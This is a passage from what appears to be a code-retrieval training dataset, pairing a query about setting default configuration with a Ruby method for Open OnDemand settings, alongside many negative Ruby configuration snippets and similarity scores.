"def configure\n yield self\n end",
"def configure\n yield self\n end",
"def configure\n yield self\n end",
"def configure\n yield self\n end",
"def configure(&block)\n @config = BeaconControl::Base::Config.new &block\n end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def options\n return @_options if defined?(@_options)\n\n original_options = super\n @_options = Thor::CoreExt::HashWithIndifferentAccess.new(\n configuration_options.merge(original_options)\n )\n end",
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configure\n yield settings\n end",
"def configure(&block)\n self.config = Config.new(self)\n config.instance_eval(&block)\n\n attr_accessor *config.accessors\n attr_reader *config.setters.keys\n\n config.setters.each do |name, definition|\n define_method(:\"#{name}=\", definition)\n end\n end",
"def config=(options={})\n @config = Configuration.new(options)\n end",
"def configure\n yield(self)\n end",
"def configure(conf)\n super\n # Read configuration for tag_infos and create a hash\n @tag_infos = Hash.new\n conf.elements.select { |element| element.name == 'tag_infos' }.each { |element|\n element.each_pair { |info_name, position_in_tag|\n element.has_key?(info_name) # to suppress unread configuration warning\n @tag_infos[info_name] = position_in_tag.to_i\n $log.info \"Added tag_infos: #{info_name}=>#{@tag_infos[info_name]}\"\n }\n }\n\n # configure for highwatermark\n @highwatermark_parameters={\n \"state_tag\" => @state_tag, \n \"state_type\" => @state_type,\n \"state_file\" => @state_file,\n \"redis_host\" => @redis_host,\n \"redis_port\" => @redis_port \n }\n $log.info \"highwatermark_parameters: #{@highwatermark_parameters}\"\n\n end",
"def add_standard_properties\n super\n\n @config_manager.add_override_property('run.config_name', self.class.basename)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure(c)\n\n c.layout = :fit\n\n c.load_inline_data ||= true\n c.enable_edit_in_form ||= true\n c.enable_edit_inline = false\n c.enable_extended_search = false\n c.enable_column_filters = false\n c.enable_pagination ||= true\n\n super\n\n end",
"def configure\n return self\n end",
"def initialize(*args)\n super\n attribute_will_change!(:configuration) if configuration\n end",
"def configure \n yield(configuration)\n end",
"def configs\n [\n @class_name,\n @rename_attrs,\n @exclude_attrs_on_create,\n @exclude_attrs_on_update,\n @associations\n ]\n end",
"def initialize(config = {})\n super\n original_initialize(config)\n end",
"def configuration\n {}\n end",
"def config\n @_config ||= self.class.config.inheritable_copy\n end",
"def configuration\n return self\n end",
"def config\n yield self\n end",
"def configure( &block )\n @configuration = block\n end",
"def configure\n yield self\n\n self\n end",
"def configure\n yield(configuration)\n configuration\n end"
] | [
"0.699449",
"0.67794436",
"0.67255783",
"0.6702203",
"0.6691903",
"0.6674663",
"0.66543835",
"0.6599814",
"0.65958476",
"0.6579515",
"0.656739",
"0.65650153",
"0.65650153",
"0.65650153",
"0.65650153",
"0.65533733",
"0.65533733",
"0.6552773",
"0.6551654",
"0.65291464",
"0.65291464",
"0.6511924",
"0.650971",
"0.65081656",
"0.65081656",
"0.6503135",
"0.6502734",
"0.6493286",
"0.6492816",
"0.6492816",
"0.6492816",
"0.6470408",
"0.64515173",
"0.644599",
"0.64448196",
"0.6444663",
"0.6430945",
"0.6430945",
"0.6430945",
"0.6430945",
"0.6430945",
"0.6430945",
"0.6430945",
"0.64302415",
"0.6415928",
"0.64130586",
"0.6412354",
"0.6411709",
"0.64079887",
"0.64065355",
"0.6398271",
"0.6398271",
"0.6398271",
"0.6398271",
"0.6398271",
"0.63898325",
"0.6388168",
"0.6388168",
"0.6388168",
"0.63859475",
"0.63806486",
"0.63806486",
"0.63806486",
"0.63806486",
"0.63806486",
"0.63799465",
"0.63630843",
"0.63580567",
"0.6353919",
"0.63519293",
"0.6349404",
"0.6327326",
"0.6327326",
"0.6327326",
"0.6327326",
"0.6327326",
"0.6327326",
"0.6327326",
"0.6327326",
"0.6327326",
"0.6327326",
"0.6326439",
"0.6324078",
"0.63088244",
"0.6307457",
"0.6305957",
"0.6297279",
"0.62865084",
"0.62860763",
"0.6277427",
"0.6273854",
"0.6260134",
"0.6255582",
"0.6250296"
] | 0.0 | -1 |
Sets the default configuration for this object. | def set_default_configuration
ActiveSupport::Deprecation.warn("The environment variable RAILS_DATAROOT will be deprecated in an upcoming release, please use OOD_DATAROOT instead.") if ENV['RAILS_DATAROOT']
self.dataroot = ENV['OOD_DATAROOT'] || ENV['RAILS_DATAROOT']
self.dataroot ||= "~/#{ENV['OOD_PORTAL'] || "ondemand"}/data/#{ENV['APP_TOKEN']}" if ENV['APP_TOKEN']
# Add markdown template support
self.markdown = Redcarpet::Markdown.new(
Redcarpet::Render::HTML,
autolink: true,
tables: true,
strikethrough: true,
fenced_code_blocks: true,
no_intra_emphasis: true
)
# Initialize URL handlers for system apps
self.public = Urls::Public.new(
title: ENV['OOD_PUBLIC_TITLE'] || 'Public Assets',
base_url: ENV['OOD_PUBLIC_URL'] || '/public'
)
self.dashboard = Urls::Dashboard.new(
title: ENV['OOD_DASHBOARD_TITLE'] || 'Open OnDemand',
base_url: ENV['OOD_DASHBOARD_URL'] || '/pun/sys/dashboard'
)
self.shell = Urls::Shell.new(
title: ENV['OOD_SHELL_TITLE'] || 'Shell',
base_url: ENV['OOD_SHELL_URL'] || '/pun/sys/shell'
)
self.files = Urls::Files.new(
title: ENV['OOD_FILES_TITLE'] || 'Files',
base_url: ENV['OOD_FILES_URL'] || '/pun/sys/dashboard/files'
)
self.editor = Urls::Editor.new(
title: ENV['OOD_EDITOR_TITLE'] || 'Editor',
# this is not a typo => the editor is /edit off of the base url
base_url: ENV['OOD_EDITOR_URL'] || '/pun/sys/dashboard/files'
)
# Add routes for useful features
self.routes = OpenStruct.new(
files_rack_app: true,
wiki: true
)
# Override Bootstrap SASS variables
self.bootstrap = OpenStruct.new(
navbar_inverse_bg: '#53565a',
navbar_inverse_link_color: '#fff',
navbar_inverse_color: '$navbar-inverse-link-color',
navbar_inverse_link_hover_color: 'darken($navbar-inverse-link-color, 20%)',
navbar_inverse_brand_color: '$navbar-inverse-link-color',
navbar_inverse_brand_hover_color: '$navbar-inverse-link-hover-color'
)
ENV.each {|k, v| /^BOOTSTRAP_(?<name>.+)$/ =~ k ? self.bootstrap[name.downcase] = v : nil}
self.enable_log_formatter = ::Rails.env.production?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_defaults!\n __load_config( DEFAULTS )\n end",
"def set_conf_default(conf)\n end",
"def set_conf_default(conf)\n end",
"def default_settings=(hash)\n @default_settings = hash\n end",
"def init_default_config\n configuration.project_id ||= Debugger.default_project_id\n configuration.credentials ||= Debugger.default_credentials\n configuration.service_name ||= Debugger.default_service_name\n configuration.service_version ||= Debugger.default_service_version\n end",
"def default_config=(config)\n unless config.is_a? Hash\n raise ArgumentError.new('Configuration has to be a Hash')\n end\n\n @default_config = config\n end",
"def default_config\n {}\n end",
"def default_configuration=(_arg0); end",
"def default_configuration\n {}\n end",
"def set_default_options\n end",
"def default_config\n self.class.config[:default_config].nil? ? {} : {}.merge(self.class.config[:default_config])\n end",
"def default_config\n self.class.default_config\n end",
"def set_defaults\n end",
"def set_defaults\n end",
"def set_default_values\n self.class.defaults.each do |key, default|\n self[key] ||= default\n end\n end",
"def default_configuration\n configuration[:_default] || {}\n end",
"def configuration_defaults(&block)\n @configuration_defaults = block\n end",
"def init_default_config\n configuration.project_id ||= (Cloud.configure.project_id || ErrorReporting::Project.default_project_id)\n configuration.credentials ||= Cloud.configure.credentials\n configuration.service_name ||= ErrorReporting::Project.default_service_name\n configuration.service_version ||= ErrorReporting::Project.default_service_version\n configuration.ignore_classes = Array(configuration.ignore_classes)\n end",
"def assign_default(config)\n assign(config, default)\n reset\n config\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def load_default_config\n self[:disable_html] ||= true\n self[:url_target] ||= \"_BLANK\"\n self[:image_alt] ||= \"Posted Image\"\n self[:table_width] ||= \"100%\"\n self[:syntax_highlighter] ||= :raw\n self[:coderay_options] ||= {}\n end",
"def default_options\n @default_options ||= {}\n end",
"def set_default\n cmd = \"{\\\"id\\\":8,\\\"method\\\":\\\"set_default\\\",\\\"params\\\":[]}\\r\\n\"\n request(cmd)\n end",
"def default_configuration!\n # Overwriting Sinatra defaults\n set :app_file, caller_files.first || $0 # Assume app file is first caller\n set :environment, Padrino.env\n set :raise_errors, true if development?\n set :logging, false # !test?\n set :sessions, true\n set :public, Proc.new { Padrino.root('public', self.uri_root) }\n # Padrino specific\n set :uri_root, \"/\"\n set :reload, development?\n set :app_name, self.to_s.underscore.to_sym\n set :default_builder, 'StandardFormBuilder'\n set :flash, defined?(Rack::Flash)\n set :authentication, false\n # Padrino locale\n set :locale_path, Proc.new { Dir[File.join(self.root, \"/locale/**/*.{rb,yml}\")] }\n set :auto_locale, false\n # Plugin specific\n set :padrino_mailer, defined?(Padrino::Mailer)\n set :padrino_helpers, defined?(Padrino::Helpers)\n end",
"def initialize\n set_defaults\n end",
"def initialize\n set_defaults\n end",
"def set_default\n end",
"def default_settings()\n @default_settings ||= {}\n end",
"def default_options\n @default_options ||= self.class.default_options\n end",
"def reset\n CONFIGURATION_DEFAULTS.each { |k, v| send(\"#{k}=\", v) }\n self\n end",
"def initialize\n @config = DEFAULT_CONFIG.deep_dup\n end",
"def default(default)\n @default = default\n self\n end",
"def set_default_options()\n @options = OpenStruct.new(\n :output_base => nil,\n :verbose => false,\n :config_file => nil,\n :samples => nil,\n :delay => 30,\n :scheduler_opts => ''\n )\nend",
"def default=(value)\n @default = value\n end",
"def default(default)\n @default = default\n end",
"def set_default(value)\r\n\t\t\tself.default_value = value\r\n\t\tend",
"def default_settings\n {}\n end",
"def default\n @default = true\n end",
"def default_config\n <<~CONFIG\n defaults: &defaults\n data_root: data\n candidates_root: zzz_candidates\n departed_root: zzz_departed\n project_root: projects\n editor: code\n feedback_polarity_default: positive\n meeting_location_default: alcove\n log_filename: log.adoc\n overview_filename: overview.adoc\n pto_default: vacation\n voip_meeting_default: Zoom\n\n development:\n # <<: *defaults\n data_root: data\n candidates_root: zzz_candidates\n departed_root: zzz_departed\n project_root: projects\n editor: code\n feedback_polarity_default: positive\n meeting_location_default: alcove\n log_filename: log.adoc\n overview_filename: overview.adoc\n pto_default: vacation\n voip_meeting_default: Zoom\n\n test:\n # <<: *defaults\n data_root: data\n candidates_root: zzz_candidates\n departed_root: zzz_departed\n project_root: projects\n editor: code\n feedback_polarity_default: positive\n meeting_location_default: alcove\n log_filename: log.adoc\n overview_filename: overview.adoc\n pto_default: vacation\n voip_meeting_default: Zoom\n\n production:\n # <<: *defaults\n data_root: data\n candidates_root: zzz_candidates\n departed_root: zzz_departed\n project_root: projects\n editor: code\n feedback_polarity_default: positive\n meeting_location_default: alcove\n log_filename: log.adoc\n overview_filename: overview.adoc\n pto_default: vacation\n voip_meeting_default: Zoom\n CONFIG\n end",
"def set_default_options!\n @options ||= OpenStruct.new\n @options.skip_uncovered = false\n @options.mute = false\n @options.reports = []\n end",
"def set_default_values\n # Ethernet configuration\n self.network_1_id ||= 1\n self.ethernet_ip_assignment_method_id ||=1\n # GRPS\n self.gprs_mtu ||= 1450\n # PSTN\n self.pstn_mtu ||= 1500\n # Time configuration\n self.time_zone ||= 'UTC'\n # Interval configuration\n self.configuration_update_interval ||= 3600\n self.status_interval ||= 3600\n self.send_data_interval ||= 86400\n # Software update configuration\n self.auto_update ||= false\n self.software_update_interval ||= 604800\n self.repo_type ||= 'stable'\n # Log configuration\n self.send_log_files ||= false\n # State XML\n self.state_xml ||= \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n<modified>true</modified>\\n\"\n end",
"def default_options=(opts); end",
"def configDefaults(config)\n end",
"def default_options\n {}\n end",
"def default_options\n {}\n end",
"def default_options\n {}\n end",
"def default_attributes=(v)\n cfg_set(:default_attributes, v)\n end",
"def configured_default\n @options[:default] || default_entry\n end",
"def set_default_options(iParameters)\n @DefaultOptions.merge!(iParameters)\n end",
"def deferred_defaults\n set_default_path\n set_default_properties\n end",
"def set_defaults\n @defaults = RHC::Vendor::ParseConfig.new()\n @opts = RHC::Vendor::ParseConfig.new() # option switches that override config file\n\n @env_config = RHC::Vendor::ParseConfig.new()\n @global_config = nil\n @local_config = nil\n @opts_config = nil # config file passed in the options\n @additional_config = nil\n\n @default_proxy = nil\n\n @defaults.add('insecure', false)\n @defaults.add('libra_server', openshift_online_server)\n\n @env_config.add('libra_server', libra_server_env) if libra_server_env\n @env_config.add('libra_server', rhc_server_env) if rhc_server_env\n\n @opts_config_path = nil\n end",
"def defaults\n super\n end",
"def default_attributes=(v)\n cfg_set(:default_attributes, v)\n end",
"def default_options=( opts )\n sync{ @opts = opts.nil? ? nil : opts.dup }\n end",
"def defaults\n Hash(@config[:defaults])\n end",
"def initialize\n @mutex = Mutex.new\n @config_hash = {}\n set_defaults\n end",
"def default(options = {})\n options.symbolize_keys!\n options.assert_valid_keys(:mailer_class, :mailer, :using, :batch_size)\n @defaults = options\n end",
"def default_options\n {}\n end",
"def default_options\n { }\n end",
"def default_options\n {}\n end",
"def default_options\n {}\n end",
"def default_options\n {}\n end",
"def default=(val)\n self['default'] = val\n end",
"def set_default(key, val)\n set(key, val) unless @config.key?(key)\n end",
"def set_defaults\n super\n end",
"def set_defaults\n super\n end",
"def reset\n self.tap do |c|\n c.base_uri = DEFAULT_BASE_URI\n c.endpoint = DEFAULT_END_POINT\n c.api_secret = DEFAULT_API_SECRET\n c.api_key = DEFAULT_API_KEY\n end\n end",
"def defaults\n {\n base_path: base_path,\n colour_mode: detect_colour_mode,\n compression: true,\n debug: false,\n drb: false,\n drb_host: nil,\n drb_port: nil,\n drb_height: 25,\n drb_width: 80,\n interactive: true,\n log: nil,\n log_only: [],\n once: false,\n renderers: [Vedeu::Renderers::Terminal.new],\n root: nil,\n stdin: nil,\n stdout: nil,\n stderr: nil,\n terminal_mode: :raw,\n }\n end",
"def default_options; {} end",
"def default=(value)\n self.value = value\n @default = value\n end",
"def default_options\n @default_options ||= OpenStruct.new\n end",
"def reset!\n configure do |c|\n DEFAULTS.each { |k, v| c.send(\"#{k}=\", v) }\n end\n end",
"def default_options\n sync{ @opts || {} }\n end",
"def default\n @what = :default\n self\n end",
"def defaults\n {\n client: nil,\n name: '',\n }\n end",
"def defaults\n @__defaults = Settingson::Store::Default.new( klass: self )\n\n if block_given?\n Rails.application.config.after_initialize do\n yield @__defaults\n end\n end\n\n @__defaults\n end",
"def default=( val )\r\n @opts[:default] = val\r\n end",
"def initialize(config, default=Config::BasicAuth)\n check_init(config)\n @config = default.dup.update(config)\n end",
"def defaults\n {}\n end",
"def set_config_defaults\n @config['style'] ||= ''\n @config['output_path'] ||= 'public/sass/mixins/sprites'\n @config['image_output_path'] ||= 'public/images/sprite/'\n @config['source_path'] ||= ''\n @config['default_format'] ||= 'png'\n @config['class_separator'] ||= '_'\n end",
"def defaults_for( name, &block )\n ::Loquacious::Configuration.defaults_for(name, &block)\n end",
"def init_config()\n options_apply_filter(\"DEFAULT\")\n end",
"def set_default_properties # :nodoc:\n display_setup\n axis_setup\n set_axis_defaults\n\n set_x_axis\n set_y_axis\n\n set_x2_axis\n set_y2_axis\n end",
"def load_default_config\n # Load the default\n path = File.join(::Lyricli.root, \"config\", @defaults_path)\n\n if File.exist?(path)\n file = File.new(path, \"r\")\n @config = MultiJson.decode(file.read)\n else\n @config = {}\n end\n end",
"def initialize\n @options = defaults\n end",
"def initialize\n @options = defaults\n end",
"def set_defaults\n defaults = { primary_ip: '0.0.0.0',\n priority: 100,\n timers_advertise: 1,\n preempt: true,\n enable: true,\n ip_version: 2,\n mac_addr_adv_interval: 30,\n preempt_delay_min: 0,\n preempt_delay_reload: 0,\n delay_reload: 0 }\n\n # If the value is not set in the @property_hash then set\n # the value in the @property_flush.\n defaults.keys.each do |key|\n @property_flush[key] = defaults[key] unless @property_hash.key?(key)\n end\n end",
"def set_default(name, options = {})\n value = options[:default]\n defaults[name] = value unless value.nil?\n end",
"def default_options\n option_type_config_for :default\n end",
"def init_default_attributes\n self.config_params ||= DEFAULT_CONFIG_PARAMS\n self.has_inventory = true\n end",
"def config=(options={})\n @config = Configuration.new(options)\n end",
"def defaults\n {\n client: nil,\n colour: nil,\n parent: nil,\n style: nil,\n value: [],\n }\n end",
"def defaults\n {\n client: nil,\n colour: nil,\n parent: nil,\n style: nil,\n value: [],\n }\n end",
"def _init_configuration\n\t\t# Set defaults\n\t\t@setup = { \"create\" => false, \"environment\" => false, \"test\" => true, \"destroy\" => false }\n\t\t@config = false\n\tend",
"def initializeDefaultParams()\n @fcName = nil # Flowcell name\n @baseCallsDir = nil # BaseCalls dir of the flowcell\n @useBasesMask = nil # Custom value to provide to BCL->FastQ convertor\n @sampleSheet = nil # Path to SampleSheet.csv\n\n yamlConfigFile = PathInfo::CONFIG_DIR + \"/config_params.yml\" \n @configReader = YAML.load_file(yamlConfigFile)\n @queue = SchedulerInfo::CASAVA_QUEUE # The processing queue on the cluster\n end",
"def set_default!\n @@default_user = self\n end"
] | [
"0.79569805",
"0.7421777",
"0.7421777",
"0.73778707",
"0.7283854",
"0.7276993",
"0.727658",
"0.7254159",
"0.7189189",
"0.71845925",
"0.7117096",
"0.7102306",
"0.69883287",
"0.69883287",
"0.69837916",
"0.6973781",
"0.6941869",
"0.6939254",
"0.688868",
"0.68759835",
"0.68759835",
"0.68759835",
"0.68759835",
"0.68759835",
"0.68759835",
"0.68450457",
"0.68115413",
"0.68033236",
"0.68010986",
"0.6786413",
"0.6786413",
"0.67612636",
"0.67455286",
"0.67437494",
"0.6727829",
"0.6711048",
"0.67103297",
"0.6684534",
"0.66482246",
"0.6637097",
"0.65816474",
"0.65660244",
"0.6563794",
"0.6563003",
"0.65516204",
"0.65379936",
"0.64999866",
"0.64983946",
"0.64702463",
"0.64702463",
"0.64702463",
"0.6465183",
"0.6463399",
"0.64522314",
"0.6445283",
"0.64328146",
"0.64308447",
"0.64185697",
"0.64167756",
"0.6407431",
"0.6402253",
"0.6396412",
"0.6394925",
"0.6393176",
"0.63801616",
"0.63801616",
"0.6379868",
"0.6372823",
"0.6371657",
"0.6364512",
"0.6364512",
"0.63631296",
"0.63571966",
"0.6338506",
"0.632986",
"0.6329257",
"0.63235706",
"0.6308396",
"0.63077605",
"0.629358",
"0.6291182",
"0.62877905",
"0.6286579",
"0.6282859",
"0.62791514",
"0.6263659",
"0.62433034",
"0.62397516",
"0.6236722",
"0.62301433",
"0.62301433",
"0.6227511",
"0.6224044",
"0.6221417",
"0.6208134",
"0.6196657",
"0.61832213",
"0.61832213",
"0.6177824",
"0.6171601",
"0.6171575"
] | 0.0 | -1 |
Read in cluster config and parse it | def parse_clusters(config)
OodCore::Clusters.load_file(config || '/etc/ood/config/clusters.d')
rescue OodCore::ConfigurationNotFound
OodCore::Clusters.new([])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read_cluster_config\n defs_file = open(\"cluster_defs.json\")\n defs_json = defs_file.read\n clust_cfg = JSON.parse(defs_json)\n defs_file.close\n return clust_cfg\nend",
"def read_cluster_config\n if ENV['VAGRANT_CWD'] then\n folder = ENV['VAGRANT_CWD'] + \"/cluster_defs.json\"\n defs_file = open(folder)\n else\n defs_file = open(\"cluster_defs.json\")\n end\n defs_json = defs_file.read\n clust_cfg = JSON.parse(defs_json)\n defs_file.close\n return clust_cfg\nend",
"def cluster_config\n Settings.clusters[name]\n end",
"def parse_config(config); end",
"def read_cluster_config_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: NsxComponentAdministrationApi.read_cluster_config ...\"\n end\n # resource path\n local_var_path = \"/cluster\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ClusterConfig')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NsxComponentAdministrationApi#read_cluster_config\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def read_cluster_config(opts = {})\n data, _status_code, _headers = read_cluster_config_with_http_info(opts)\n return data\n end",
"def parse(eval_ui = false)\n begin\n defaults = @config['defaults']\n\n ################################################################\n # Cluster\n ################################################################\n\n if @config['cluster'].nil?\n @config['cluster'] = { 'name' => @config['name'] }\n end\n\n @config['cluster']['provision'] ||= {}\n\n if defaults && defaults.key?('provision')\n @config['cluster']['provision'].merge!(\n defaults['provision']\n )\n end\n\n ################################################################\n # Hosts\n ################################################################\n\n if @config['hosts']\n sections = ['connection', 'provision', 'configuration']\n\n @config['hosts'].map! do |host|\n sections.each do |section|\n data = CONFIG_DEFAULTS[section] || {}\n\n if @config['defaults']\n defaults = @config['defaults'][section]\n end\n\n h_sec = host[section]\n\n # merge defaults with globals\n # and device specific params\n data.merge!(defaults) unless defaults.nil?\n data.merge!(h_sec) unless h_sec.nil?\n\n host[section] = data\n end\n\n host\n end\n end\n\n ################################################################\n # Datastores & Networks\n ################################################################\n\n ['datastores', 'networks'].each do |r|\n next unless @config[r]\n\n @config[r].map! do |x|\n x['provision'] ||= {}\n\n if defaults && defaults.key?('provision')\n x['provision'].merge!(defaults['provision'])\n end\n\n x\n end\n end\n\n # Add provision ID into ARs to evaluate it later\n if @config['networks']\n @config['networks'].each do |vnet|\n next unless vnet['ar']\n\n unless vnet['ar'].is_a? Array\n raise 'ar should be an array'\n end\n\n vnet['ar'].each do |ar|\n ar['provision_id'] = '${provision_id}'\n end\n end\n end\n\n ################################################################\n # User inputs\n ################################################################\n return unless eval_ui\n\n eval_user_inputs\n rescue StandardError => e\n Utils.fail(\"Failed to read configuration: #{e}\")\n end\n end",
"def read_cfg\n config = Config.new\n File.open(\"#{$work_dir}/#{filename}\") do |file|\n while line = file.gets\n #next if /^#/\n if /^(PMASTER):\\w+:(\\S+)/ =~ line then\n config.host_list[$2] = $1\n puts \"Puppet Master: #{$2}\"\n end\n if /^(AGENT):\\w+:(\\S+)/ =~ line then\n config.host_list[$2] = $1\n puts \"Puppet Agent: #{$2}\"\n end\n end\n end\n return config\n end",
"def parseConfigMap\n begin\n # Check to see if config map is created\n if (File.file?(@configMapMountPath))\n puts \"config::configmap container-azm-ms-agentconfig for agent settings mounted, parsing values\"\n parsedConfig = Tomlrb.load_file(@configMapMountPath, symbolize_keys: true)\n puts \"config::Successfully parsed mounted config map\"\n return parsedConfig\n else\n puts \"config::configmap container-azm-ms-agentconfig for agent settings not mounted, using defaults\"\n return nil\n end\n rescue => errorStr\n ConfigParseErrorLogger.logError(\"Exception while parsing config map for agent settings : #{errorStr}, using defaults, please check config map for errors\")\n return nil\n end\nend",
"def read_config_file; end",
"def parse_config\n @parsed_hash = Settings.load! @config_file\n validate @parsed_hash\n HadoopConfigParser.new(HADOOP_CONF, @log, @debug)\n HBaseConfigParser.new(HBASE_CONF, @log, @debug)\n unless @errors_count == 0\n @log.error \"Number of Errors: #{@errors_count}\"\n @log.error 'Parsing config file ... ' + '[Failed]'.red\n raise(Ankus::Errors::ParseError.new(\"\\rParsing Configuration Failed\".red))\n end\n create_req_files\n @parsed_hash\n rescue Ankus::Errors::ParseError, Ankus::Errors::ParseError::NoKey\n @log.error \"#{$!.message} (#{$!.class})\"\n exit\n rescue\n @log.error \"#{$!.message} (#{$!.class})\"\n puts $@ if @debug\n exit\n end",
"def parse_config(\n config_file=File.expand_path(File.join(File.dirname(__FILE__), 'config.yml'))\n)\n require 'yaml'\n config = {\n 'sites' => \"sites\",\n 'webroot_subdir' => \"\",\n 'databases' => \"databases\",\n 'memory' => '2048',\n 'cpus' => '1',\n 'use_nfs' => true,\n 'with_gui' => false,\n 'ip' => \"192.168.50.4\",\n 'box_name' => 'Parrot-Trusty',\n 'varnish_enabled' => false,\n 'local_user_uid' => Process.uid,\n 'local_user_gid' => Process.gid,\n 'forward_solr' => true,\n 'forward_mysql' => true,\n 'forward_varnish' => true,\n 'forward_apache' => true,\n 'forward_https' => true,\n 'forward_dovecot' => true,\n 'solr_port' => 8983,\n 'mysql_port' => 3306,\n 'varnish_port' => 8181,\n 'apache_port' => 8080,\n 'https_port' => 1443,\n 'dovecot_port' => 1143,\n 'drush_version' => 'drush/drush',\n }\n if File.exists?(config_file)\n overrides = YAML.load_file(config_file)\n config.merge!(overrides)\n end\n config\nend",
"def parse_cloud_config\n cloud_config = YAML.load(File.read('config/cloud.yml'))\n check_cloud_config(cloud_config)\n\n cloud_config\n end",
"def read_config\n begin\n config = YAML.load_file('config/config.yml')\n puts config['address']\n puts config['port']\n rescue YAML::LoadError => e\n # If config file is not found or valid, return with errors\n logger.error \"read config error: #{e}\"\n end\n\n [config['address'], config['port']]\n end",
"def config\n @config ||= yaml_content || {\n 'apiVersion' => 'v1',\n 'clusters' => [],\n 'contexts' => [],\n 'current-context' => nil,\n 'kind' => 'Config',\n 'preferences' => {},\n 'users' => []\n }\n end",
"def healthy_cluster_config\n {\n 'http://127.0.0.1:4001' => 'http://127.0.0.1:4001',\n 'http://127.0.0.1:4002' => 'http://127.0.0.1:4001',\n 'http://127.0.0.1:4003' => 'http://127.0.0.1:4001'\n }\n end",
"def load_config_file\n data = {}\n if File.exists?(@configfile)\n File.open(@configfile, \"r\").each_line do |line|\n # strip blank spaces, tabs etc. off the lines\n line.gsub!(/\\s*$/, \"\")\n \n if (line =~ /^([^=]+)=\"([^=]*)\"$/)\n key = $1.downcase\n val = $2\n \n case key\n when /^ve_(private|root)$/\n data[key] = val.gsub!(/\\$VEID/, @ctid)\n else\n data[key] = val\n end\n end\n end\n end\n data\n end",
"def parse_config \n path = \"#{Rails.root}/config/mebla.yml\"\n return unless File.exists?(path)\n \n conf = YAML::load(ERB.new(IO.read(path)).result)[Rails.env]\n \n conf.each do |key,value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end unless conf.nil?\n end",
"def settings_for_node\n cluster_name = self.parent.name.to_sym\n cluster_role = self.name.to_sym\n node_settings = {\n :user_data => { :attributes => { :run_list => [] } },\n :cluster_name => cluster_name,\n :cluster_role => cluster_role,\n }.deep_merge(Settings)\n node_settings.delete :pools\n raise \"Please define the '#{cluster_name}' cluster and the '#{cluster_role}' role in your ~/.chef/cluster_chef.yaml\" if (Settings[:pools][cluster_name].blank? || Settings[:pools][cluster_name][cluster_role].blank?)\n node_settings = node_settings.deep_merge(\n Settings[:pools][cluster_name][:common] ||{ }).deep_merge(\n Settings[:pools][cluster_name][cluster_role] ||{ })\n configure_aws_region node_settings\n node_settings\nend",
"def config_load(config); end",
"def save_cluster_configuration\n begin\n facets = Ironfan::IaasProvider.cluster_spec[CLUSTER_DEF_KEY][GROUPS_KEY]\n facet = facets.find { |f| f['name'] == facet_name.to_s }\n conf = facet[CLUSTER_CONF_KEY]\n rescue\n nil\n end\n\n conf ||= {}\n if conf\n @facet_role.default_attributes({ CLUSTER_CONF_KEY => conf })\n end\n conf\n end",
"def config\n raise ScribdFuError, \"#{ConfigPath} does not exist\" unless File.file?(ConfigPath)\n\n # Load the config file and strip any whitespace from the values\n @config ||= YAML.load_file(ConfigPath).each_pair{|k,v| {k=>v.to_s.strip}}.symbolize_keys!\n end",
"def load_attrs\n self.availability_zone = cluster_config[:availability_zone] || Settings.availability_zone\n self.image_id = cluster_config[:image_id] if cluster_config[:image_id]\n self.instance_type = cluster_config[:instance_type] if cluster_config[:instance_type]\n # self.deletes_on_termination = cluster_config[:deletes_on_termination] if cluster_config[:deletes_on_termination]\n end",
"def conf\n @c ||= JSON.load(File.read('/etc/knife-kvm/config.json'))\nend",
"def read_config\n\t\t\n\t\[email protected] \"START #{__FILE__}.#{__method__}\"\n\t\t\n\t\tbegin\n\t\t\n\t\t\tconfig \t\t= YAML.load_file $db_config\n\t\t\t@host \t\t= config[$db_mode][\"host\"]\t\n\t\t\t@user \t\t= config[$db_mode][\"username\"] \n\t\t\t@db_name \t= config[$db_mode][\"database\"]\n\t\t\t@password \t= config[$db_mode][\"password\"]\n\t\t\n\t\trescue Mysql2::Error => e\n\t\t\t\n\t\t\tputs \"#{__FILE__}.#{__method__} An error has occured. Please check logs.\"\n\t\t\t\n\t\t\[email protected] \"Error code: #{e.error_number}\"\n\t\t\[email protected] \"Error SQLSTATE: #{e.sql_state}\" if e.respond_to?(\"sqlstate\")\n\t\t\t\n\t\tend\n\n\t\[email protected] \"END #{__FILE__}.#{__method__}\"\t\t\n\t\t\n\tend",
